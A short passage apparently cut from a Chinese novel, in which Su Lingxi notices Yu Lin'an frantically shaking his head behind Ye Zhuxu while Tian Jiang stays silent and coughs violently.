苏聆兮见到站在叶逐叙身后的余临安摇头晃脑,两只眼睛各转各的,恨不得把摇头的轮廓给她画出来。那位想看胡姬的田绛不说话,直抵着唇咳嗽,咳得撕心裂肺。